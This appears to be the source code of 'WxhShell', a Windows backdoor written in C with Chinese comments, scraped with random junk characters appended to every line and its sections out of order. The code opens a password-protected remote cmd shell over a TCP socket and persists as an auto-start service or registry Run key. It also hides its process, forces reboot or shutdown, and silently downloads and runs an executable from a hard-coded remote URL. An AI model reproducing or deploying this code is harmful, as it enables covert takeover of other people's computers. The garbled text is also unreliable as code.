    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U4)x"s[CP  
    if(Boot(SHUTDOWN)) :0@R(ct;>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /e5' YVP  
    else { uq?((  
    closesocket(wsh); t|-TG\Q X  
    ExitThread(0); t6u>_Sh e  
    } ;e Iqxe>  
    break; x-27rGN  
    } &O8vI ,M  
  // 获取shell riw0w  
  case 's': { aT|SKb`  
    CmdShell(wsh); ]nPfIBoS  
    closesocket(wsh); :{sy2g/+  
    ExitThread(0); c=d` DJ  
    break; lw+Y_;  
  } ASGV3r (  
  // 退出 {zzc/!|  
  case 'x': { SB~HHx09  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )(bAi  
    CloseIt(wsh); o]T-7Gs4p  
    break; <14,xYpE  
    } ^4MRG6G  
  // 离开 Q /D?U[G  
  case 'q': { TwPp Z@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D)shWJRlvW  
    closesocket(wsh); wavyREK   
    WSACleanup(); MpY/G%3  
    exit(1); &[ oW"Q{  
    break; 1. A@5*Q  
        } efzS]1Jpz  
  } RJ}%pA4I  
  } yM,.{m@F<  
. -ihxEbzr  
  // 提示信息 qmmQH S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *<HA])D,  
} eBT+|  
  } CgT5sk}  
{7d(B1[1  
  return; <S[]VXy  
} BjX*Gm6l  
,4W~CkLD  
// shell模块句柄 pW4O[v`  
int CmdShell(SOCKET sock) xWRkg$A  
{ T-MC|>pv  
STARTUPINFO si; FYBW3y+AF&  
ZeroMemory(&si,sizeof(si)); n[[2<s*YJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y@(izC&h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GZxPh&BM?  
PROCESS_INFORMATION ProcessInfo; GN1Q\8)o  
char cmdline[]="cmd"; %Z~0vwY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >o/+z18x  
  return 0; B`<a~V  
} ]mzghH:E  
Mo'6<"x  
// 自身启动模式 9U]3B)h%m  
int StartFromService(void) r..&6-%:N  
{ m!Y4+KTwD`  
typedef struct mETGYkPUa  
{ C[ma!he  
  DWORD ExitStatus; hqDnmzG  
  DWORD PebBaseAddress; \u4`6EYF?  
  DWORD AffinityMask; yC&u^{~BC  
  DWORD BasePriority; zrDcO~w  
  ULONG UniqueProcessId; =Ju%3ptH0  
  ULONG InheritedFromUniqueProcessId; 5,_DM  
}   PROCESS_BASIC_INFORMATION; S =5br  
3g79/ w  
PROCNTQSIP NtQueryInformationProcess; m=[3"X3W1V  
"J(T?|t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hQb3 8W[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5ho!}K  
c)`=wDi  
  HANDLE             hProcess; ,7:? Du}  
  PROCESS_BASIC_INFORMATION pbi; Sdzl[K/}  
0{^ 0>H0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qtR/K=^i  
  if(NULL == hInst ) return 0; )U|0vr8:  
[AHoTlPZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R4_BP5+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d DrzO*a\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q<XleC  
fK/|0@B8  
  if (!NtQueryInformationProcess) return 0; Au10]b  
<D`VFSEJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dBm!`;r4  
  if(!hProcess) return 0; vu@@!cT6e  
[,yYr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @1vpkB~ w  
)+ (GE  
  CloseHandle(hProcess); gmUX 2x(  
vqhu%ZyP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }PUY~ u  
if(hProcess==NULL) return 0; a7U`/*  
bZ SaL^^(  
HMODULE hMod; ugV/#v O  
char procName[255]; o}b_`O  
unsigned long cbNeeded; WSxE/C|[  
6s.>5}M!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QTIC5cl,  
,a34=,  
  CloseHandle(hProcess); "1wjh=@z  
.b|!FWHNS  
if(strstr(procName,"services")) return 1; // 以服务启动 fR&x5Ika0  
X1XmaO% A  
  return 0; // 注册表启动 ">FuCvQ  
} qFE(H1hy  
Mi<l;ZP  
// 主模块 06]%$ -j  
int StartWxhshell(LPSTR lpCmdLine) m)ENj6A>yP  
{ +JejnG0  
  SOCKET wsl; Ake$M^Bz  
BOOL val=TRUE; Yln[ZmK9g  
  int port=0; !NO)|N>  
  struct sockaddr_in door; jaL#  
/k.?x]Ab  
  if(wscfg.ws_autoins) Install(); ^&7gUH*v  
[:MFx6  
port=atoi(lpCmdLine); 0bfJD'^9RP  
ja&S^B^@  
if(port<=0) port=wscfg.ws_port; /5Tp)h|  
PiJ >gDx  
  WSADATA data; \C kb:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8}Cp(z2  
AhU   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CHckmCgf4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AOM@~qyc   
  door.sin_family = AF_INET; tjJi|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); av"dJm  
  door.sin_port = htons(port); |t6:4']  
z7!@^!r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gt$PBlq0  
closesocket(wsl); L2IY$+=M  
return 1; p5Wz.n.<'  
} b *Ca*!  
f {j`d&|  
  if(listen(wsl,2) == INVALID_SOCKET) { ]D<3y IGS  
closesocket(wsl); J'C%  
return 1; #k t+ )>  
} bScW<DZJ-  
  Wxhshell(wsl); /s Bs eI  
  WSACleanup(); Zvkb=  
!@T5](zV  
return 0; `zOn(6B;U  
:Izdj*HL;A  
} BnU3oP  
o&RNpP*  
// 以NT服务方式启动 A5^tus/y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E*s8 nQ"  
{ c,Yd#nokC  
DWORD   status = 0; ebiOR1)sN  
  DWORD   specificError = 0xfffffff; R6`,}<A]@  
4tlLh`-8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $bF3 v=u`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )sLXtV)nm6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YSr u5Q  
  serviceStatus.dwWin32ExitCode     = 0; }K|40oO5  
  serviceStatus.dwServiceSpecificExitCode = 0; ' 1D1y'  
  serviceStatus.dwCheckPoint       = 0; 7e=s`j  
  serviceStatus.dwWaitHint       = 0; ZjveXrx  
fjLS_Q ;h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C/ENJ&  
  if (hServiceStatusHandle==0) return; $q g/8G  
!"SuE)WM  
status = GetLastError(); ]SL0Mn g8  
  if (status!=NO_ERROR) /-Y.A<ieN8  
{ )#v0.pE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A Eo  
    serviceStatus.dwCheckPoint       = 0;  %Krf,H  
    serviceStatus.dwWaitHint       = 0; bG/[mZpRT  
    serviceStatus.dwWin32ExitCode     = status; j7qGZ"8ak  
    serviceStatus.dwServiceSpecificExitCode = specificError; N*'d]P2P`J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eb89B%L62G  
    return; {7^D!lis  
  } p9gX$-!pbG  
\*\)zj*r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K9c5HuGy  
  serviceStatus.dwCheckPoint       = 0; bj_oA i  
  serviceStatus.dwWaitHint       = 0; .-}F~FES  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lj 2OOU{  
} +K:hetv  
'Omj-o'tn9  
// 处理NT服务事件,比如:启动、停止 ~#|Pe1Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >?(}F':  
{ :,Mg1Zf  
switch(fdwControl) dPmNX-'7  
{ %<h+_(\h  
case SERVICE_CONTROL_STOP: j'q Iq;y  
  serviceStatus.dwWin32ExitCode = 0; 7i88iT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q6hWHfS  
  serviceStatus.dwCheckPoint   = 0; ;` ! j~  
  serviceStatus.dwWaitHint     = 0; ?y2v?h"  
  { 1{?5/F \ +  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +J7xAyv_Oz  
  } %ql2 XAY  
  return; Pvz\zRq  
case SERVICE_CONTROL_PAUSE: Y(C-o[-N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V?N8 ,)j  
  break; .NT9dX  
case SERVICE_CONTROL_CONTINUE: -$o4WSd~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5?-@}PL!Y  
  break; {xCqz0  
case SERVICE_CONTROL_INTERROGATE: G'(8/os{  
  break; n0opb [?  
}; 0l2@3}e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); />dYkIv  
} m!Fx#   
W6jdS;3  
// 标准应用程序主函数 ehyCAp0oI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {qb2!}FQ  
{ Kq;s${ |G  
[]hC*  
// 获取操作系统版本 &'oZ]}^ 0  
OsIsNt=GetOsVer();  f~w!Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8'o6:  
fl o9iifZ  
  // 从命令行安装 4{rj 4P?  
  if(strpbrk(lpCmdLine,"iI")) Install(); D}]u9jS1  
iDV. C@   
  // 下载执行文件 0 ![  
if(wscfg.ws_downexe) { 0%"sOth  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q3 yW#eD  
  WinExec(wscfg.ws_filenam,SW_HIDE); #L 9F\ <K  
} ev9ltl{  
@<C<rB8R  
if(!OsIsNt) { p #Y2v  
// 如果时win9x,隐藏进程并且设置为注册表启动 fm$)?E_Rp  
HideProc(); -gVsOX0  
StartWxhshell(lpCmdLine); &z?:s  
} rixt_}aE  
else @h!nVf%fe  
  if(StartFromService()) ^e(*{K;8  
  // 以服务方式启动 !Hx[ `3  
  StartServiceCtrlDispatcher(DispatchTable); KLCd`vr.xf  
else i?B(I4a!G  
  // 普通方式启动 L<0eIw  
  StartWxhshell(lpCmdLine); s|IC;C|  
Ms14]M[\  
return 0; 4Bk9d\z  
} 2dnyIgi  
'yNS(Bg=  
Zx 5Ue#I  
t>JPK_b0  
=========================================== -;j ' =?  
69$gPY'3  
=p>IP"HJ  
Sq[LwJ  
9_xJT^10  
h Nx#x  
" J3c8WS{:  
E@_]L<Z  
#include <stdio.h> \JbOT%1  
#include <string.h> 9}jezLI/3  
#include <windows.h> lB*HL C  
#include <winsock2.h> 2JL\1=k;  
#include <winsvc.h> .dKFQH iYJ  
#include <urlmon.h> @ ('/NjTZ  
6D/K=-   
#pragma comment (lib, "Ws2_32.lib") Q|(G -  
#pragma comment (lib, "urlmon.lib") m#`1.5%  
d'k99(vy  
#define MAX_USER   100 // 最大客户端连接数 v`Yj)  
#define BUF_SOCK   200 // sock buffer 5DmW5w'p  
#define KEY_BUFF   255 // 输入 buffer {3eg4j.Z  
fzZ`O{$8  
#define REBOOT     0   // 重启 !z2KQ 4C  
#define SHUTDOWN   1   // 关机 X{ f#kB]w  
L&hv:+3N  
#define DEF_PORT   5000 // 监听端口 AYGe`{  
A8T8+M:  
#define REG_LEN     16   // 注册表键长度 K(}g!iT)~  
#define SVC_LEN     80   // NT服务名长度 )6*)u/x:  
b E6bx6=u  
// 从dll定义API 'J_`CS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $d5}OI"g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wf2v9.;X:<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &NH[b1NMr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u#nM_UJe  
uUJH^pW  
// wxhshell配置信息 'f-8P  
struct WSCFG { /Jf}~}JP  
  int ws_port;         // 监听端口 >G}g=zy@  
  char ws_passstr[REG_LEN]; // 口令 Jsf"h-)P  
  int ws_autoins;       // 安装标记, 1=yes 0=no CkR 95*  
  char ws_regname[REG_LEN]; // 注册表键名 SaFNPnk=  
  char ws_svcname[REG_LEN]; // 服务名  i)= \-C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JVR,Py:%G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |syvtS{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x Tf|u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1<;G oC"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +d=w%r)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Zne19/  
k\Z7Dg$\D  
}; :%>TM/E N  
~_a$5Y  
// default Wxhshell configuration cf,^7,-`"  
struct WSCFG wscfg={DEF_PORT, A5go)~x\  
    "xuhuanlingzhe", '+v[z=.8]  
    1, 98XlcI#  
    "Wxhshell", IsiBn(1Z  
    "Wxhshell", kK/( [!  
            "WxhShell Service", Kp>fOe'KW  
    "Wrsky Windows CmdShell Service", K#LDmC  
    "Please Input Your Password: ", FK~*X3'  
  1, 65U&P5W  
  "http://www.wrsky.com/wxhshell.exe", L\xR<m<,  
  "Wxhshell.exe" %r]V:d+  
    }; ;k (M4?  
@ RP?)*8}&  
// 消息定义模块 @:t2mz:^i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L~E|c/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n;e.N:p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %+@<T<>J<k  
char *msg_ws_ext="\n\rExit."; EIF"{,m  
char *msg_ws_end="\n\rQuit."; 6cX Z3;a  
char *msg_ws_boot="\n\rReboot..."; "f:_(np,  
char *msg_ws_poff="\n\rShutdown..."; Ou{VDE  
char *msg_ws_down="\n\rSave to "; zg$NrI&  
DLO2$d  
char *msg_ws_err="\n\rErr!"; } p `A>  
char *msg_ws_ok="\n\rOK!"; jIck!  
S,f:nLT  
char ExeFile[MAX_PATH]; Xa$-Sx  
int nUser = 0; Yc^,Cj{OM  
HANDLE handles[MAX_USER]; ,c|Ai(U  
int OsIsNt; 1*?L>@Wdy  
<=]:ED $V@  
SERVICE_STATUS       serviceStatus; )yUSuK(Vu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 95sK;`rE+  
3|BB#;  
// 函数声明 +NTC!/  
int Install(void); 6 -BC/  
int Uninstall(void); ^#]eCXv  
int DownloadFile(char *sURL, SOCKET wsh); MH/bJtNq  
int Boot(int flag); ZG( Pz9{K  
void HideProc(void); cnB:bQQK8  
int GetOsVer(void); b\p2yJ\  
int Wxhshell(SOCKET wsl); %R  P\,|  
void TalkWithClient(void *cs); dy4~~~^A  
int CmdShell(SOCKET sock); lX64IvG8+o  
int StartFromService(void); <OTx79m  
int StartWxhshell(LPSTR lpCmdLine); O? 0`QMY  
q +!i6!6r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c~u91h?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !M}ZK(  
dH)\zCt  
// 数据结构和表定义 IHv>V9yiG  
SERVICE_TABLE_ENTRY DispatchTable[] = t:YMF$Z  
{ KM/c^ a4V  
{wscfg.ws_svcname, NTServiceMain}, Pr3>}4M  
{NULL, NULL} OlM3G^1e1  
}; p8MN>pLP%  
WmuYHEU  
// 自我安装 4VhKV JX  
int Install(void) kOQ!]-;  
{ (Q"~bP{F  
  char svExeFile[MAX_PATH]; >cH}sNHy  
  HKEY key; 7 lu_E.Bv  
  strcpy(svExeFile,ExeFile); ]Xg7XY  
7n7UL0Oc1  
// 如果是win9x系统,修改注册表设为自启动 ?@QcKQ@  
if(!OsIsNt) { ~^l;~&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q+*@!s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KebC$g@W  
  RegCloseKey(key); A'n{K#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WNSEc%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +iw4>0pi  
  RegCloseKey(key); o\X|\nUk  
  return 0; MH=Ld=i  
    } p. KT=dZT  
  } T:g%b @  
} *d:$vaL  
else { 5C-XQS1  
e6Kyu*  
// 如果是NT以上系统,安装为系统服务 QObHW[:F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5ljEh -  
if (schSCManager!=0) V`}u:t7r  
{ ))I[@D1b  
  SC_HANDLE schService = CreateService ak zKX}  
  ( c]NZG n*  
  schSCManager, 1cD  
  wscfg.ws_svcname, JvYs6u  
  wscfg.ws_svcdisp, gnlU  
  SERVICE_ALL_ACCESS, ;&XC*R+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DJ`xCs!R  
  SERVICE_AUTO_START, d?aZk-|c  
  SERVICE_ERROR_NORMAL, tNljv >vI  
  svExeFile, ])?[9c  
  NULL, | CPyCM$  
  NULL, m}'!W`<  
  NULL, ppnl bL^*  
  NULL, lS?#(}a1)  
  NULL `:W}yo<F  
  ); ;<#=|eD2  
  if (schService!=0) 0a:@DOzT  
  { Wm/0Pi  
  CloseServiceHandle(schService); XRi37|p  
  CloseServiceHandle(schSCManager); XQZiJ %'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c| X }[  
  strcat(svExeFile,wscfg.ws_svcname); Q}#xfrprF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y<PQ$D)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zA| )9Dq  
  RegCloseKey(key); ~-'-<-  
  return 0; gSkY c{b  
    } wI?AZd;`'  
  } :VE0eJ]J6  
  CloseServiceHandle(schSCManager); oo|Nu+  
} K+`deH_d  
} } wx(P3BHD  
f<>CSjQ4c  
return 1; fzUG1|$e  
} Nb)Mh  
( ; _AP.  
// 自我卸载 " Rn@yZV  
int Uninstall(void) UQjYWXvi  
{ pW_mS|  
  HKEY key; *A0*.>@N  
izR#XeBm  
if(!OsIsNt) { nI/kX^Pd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .dj}y jd]f  
  RegDeleteValue(key,wscfg.ws_regname); \zhCGDm1_  
  RegCloseKey(key); ;f /2u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r`e6B!p  
  RegDeleteValue(key,wscfg.ws_regname); ?=b#H6vs  
  RegCloseKey(key); 1^2]~R9,9  
  return 0; J7@Q;gcl:  
  } d3NER}f4V  
} Qjmo{'d  
} z pg512\y  
else { {FR+a**  
zb.sh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S 9;FD3  
if (schSCManager!=0) Bnw^W _  
{ =KHX_ib  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Rn*)D9  
  if (schService!=0) ]PB95%  
  { 7Ac.^rv5  
  if(DeleteService(schService)!=0) { jWso'K  
  CloseServiceHandle(schService); 3U*4E?g  
  CloseServiceHandle(schSCManager); 0O(Vyy  
  return 0; (O/W`qo  
  } $F6GCM3Cx  
  CloseServiceHandle(schService); G`f|#-}  
  } gi+FL_8CzU  
  CloseServiceHandle(schSCManager); $?On,U  
} y:k7eE"  
} \W|ymV_Ki  
\/9O5`u*V  
return 1; 3gv?rJV  
} eh, _g.  
;rl61d}NH#  
// 从指定url下载文件 3&R1C>JS ]  
int DownloadFile(char *sURL, SOCKET wsh) fONycXM]  
{ f7Gs1{  
  HRESULT hr; -i]2 b  
char seps[]= "/"; ? 8)k6:  
char *token; q[x|tO  
char *file; *r ('A  
char myURL[MAX_PATH]; 3dgPP@7d$  
char myFILE[MAX_PATH];  KON^  
<3x:nH @  
strcpy(myURL,sURL); >RrG&Wv59  
  token=strtok(myURL,seps); gp+@+i>b+[  
  while(token!=NULL) ;X+cS,h  
  { lU`t~|>r+  
    file=token; ,M :j5  
  token=strtok(NULL,seps); p{&o{+c  
  } K14v6d  
0CI\Yd=  
GetCurrentDirectory(MAX_PATH,myFILE); %K0Wm#)  
strcat(myFILE, "\\"); jVna;o)  
strcat(myFILE, file); #-l+c u{  
  send(wsh,myFILE,strlen(myFILE),0); =[0| qGzg  
send(wsh,"...",3,0); q-S#[I+g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tO3#kV\,  
  if(hr==S_OK) /xd|mo)D  
return 0; cDz^jC   
else C1OiMb(:  
return 1; @ ZN@EOM$+  
+ijxv  
} 2B+qS'OT  
T%E/k# )q  
// 系统电源模块 9ZDbZc  
int Boot(int flag) [}5mi?v  
{ -X-sykDm  
  HANDLE hToken; J^zB 5W,)  
  TOKEN_PRIVILEGES tkp; M]xfH*  
{uxTgX  
  if(OsIsNt) { I(j$^DA.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >|mZu)HIY;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Ep!  
    tkp.PrivilegeCount = 1; (Mw+SM3<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w,t !<i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g O/\Yi  
if(flag==REBOOT) { QE721y   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uW4.Q_O!H  
  return 0; 0XI6gPo%  
} 9[[$5t`8  
else { XJ1Bl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h r6?9RJY  
  return 0; (UZ].+)s  
} Sx1OY0)s  
  } Y4[oa?G  
  else { k h6n(B\  
if(flag==REBOOT) { &,* ILz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rx@2Dmt6  
  return 0; spWo{  
} pk6<wAs*?#  
else { 9x eg,#1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gOMy8w4>  
  return 0; ^b 3nEcQn  
}  vSo1WS  
} *hh9 K  
wM}AWmH  
return 1; vVSf'w   
} [rz5tfMp  
YUT I)&y  
// win9x进程隐藏模块 AB<%GzW0(  
void HideProc(void) NHe[,nIV  
{ U#{(*)qr  
Hx n#vAc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !t?5U_on  
  if ( hKernel != NULL ) arvKJmD  
  { }/ Qj8l.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]1M Z:]k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2SlI5+u  
    FreeLibrary(hKernel); N$u: !  
  } 6#ktw)e  
UK)wV  
return; Uy?X-"UR  
} [kMWsiZ  
3E}j*lo  
// 获取操作系统版本 U|8?$/*\  
int GetOsVer(void) E`]un.  
{ 7Dw. 9EQ  
  OSVERSIONINFO winfo; 2 ]n4)vv,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +`!>lo{X  
  GetVersionEx(&winfo); t ;fJ`.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ULO_?4}B  
  return 1; 5Ha(i [d  
  else V 7D<'!  
  return 0; uH#X:Vne  
} V{X/yN.u  
g'2}Y5m$`  
// 客户端句柄模块 {7` 1m!R  
int Wxhshell(SOCKET wsl) ;D@F  
{ `/<f([w  
  SOCKET wsh; bGK-?BE5+A  
  struct sockaddr_in client; ^ Z3y  
  DWORD myID; &PX!'%X68h  
'r1X6?d J  
  while(nUser<MAX_USER) :_Iz( 2hV  
{ X.ZG-TC  
  int nSize=sizeof(client); i O$ ?No  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r4 qs!(  
  if(wsh==INVALID_SOCKET) return 1; Z_>:p^id  
=F_j})O5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ox@$ }  
if(handles[nUser]==0) uc LDl  
  closesocket(wsh); \\{78WDA  
else %BQ?DTtb7'  
  nUser++; W,:j >v g  
  } i8%Z(@_`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |W*2L] &  
j$4lyDfD  
  return 0; SJE!14|e  
} iH>b"H >  
UJjtDV3@_g  
// 关闭 socket @c}Gw;e  
void CloseIt(SOCKET wsh) }N:QB}7'_  
{ <SdOb#2  
closesocket(wsh); #c9MVQ_   
nUser--; ,^jQBD4={  
ExitThread(0); 65tsJ"a<  
} E!`/XB/nA  
-V P_Aw$  
// 客户端请求句柄 F4:5 >*:  
void TalkWithClient(void *cs) *2/6fhI[p  
{ =FM rVE  
dP"cm0  
  SOCKET wsh=(SOCKET)cs; /=QsZ,~xo  
  char pwd[SVC_LEN]; Wxgs66   
  char cmd[KEY_BUFF]; =@nW;PUZ  
char chr[1]; G0Z$p6z  
int i,j; @Ph'!  
]qx!51S  
  while (nUser < MAX_USER) { X?]Mzcu  
"#pN  
if(wscfg.ws_passstr) { iZ0(a   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '1d0 *5+6k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hi U/fi`  
  //ZeroMemory(pwd,KEY_BUFF); %D7'7E8.  
      i=0; cW ?6Iao  
  while(i<SVC_LEN) { 4-9cp=\PE  
}a%Wu 7D  
  // 设置超时 kmt+E'^]  
  fd_set FdRead; 4$4Tx9C  
  struct timeval TimeOut; ca[*#xiJ  
  FD_ZERO(&FdRead); fT=ZiHJ3Gu  
  FD_SET(wsh,&FdRead); I/gfsyfA  
  TimeOut.tv_sec=8; 7 ,Q7`}gBf  
  TimeOut.tv_usec=0; |aj]]l[@S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H~:g =Zw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V'9OGn2v  
j`_Z`eG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5G z~,_  
  pwd=chr[0]; a;(,$q3M  
  if(chr[0]==0xd || chr[0]==0xa) { ^5+7D1>W%  
  pwd=0; iphdJZ/f  
  break; %v^qQWy=*  
  } V1A7hRjxvG  
  i++; yKmHTjX=  
    } 3Q,p,  
"*KOU2}C  
  // 如果是非法用户,关闭 socket kn WI7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i6i;{\tc  
} & fnfuU$   
RG/P]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z7Nhb{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <!X]$kvG  
\;+b1  
while(1) { (D+%*ax  
S Z &[o&H  
  ZeroMemory(cmd,KEY_BUFF); 5^Lbc.h  
]agdVr^  
      // 自动支持客户端 telnet标准   k;.<DN  
  j=0; UYpln[S  
  while(j<KEY_BUFF) { VD{_6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $<f+CtD4  
  cmd[j]=chr[0]; ePxf.U  
  if(chr[0]==0xa || chr[0]==0xd) { zj=F4]w  
  cmd[j]=0; 'NnmLM(oh  
  break; o/!a7>xO4  
  } C%P.`NxA  
  j++; 7f~7vydZ}  
    } M F$NcU  
54 f?YR  
  // 下载文件 /FcwsD\=$  
  if(strstr(cmd,"http://")) { r?`7i'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jQ(%LYX$  
  if(DownloadFile(cmd,wsh)) [Vou G{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x/ P\qI  
  else D.h<!?E%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]`}EOS-Q  
  } ; d}  
  else { 8)J,jh9q  
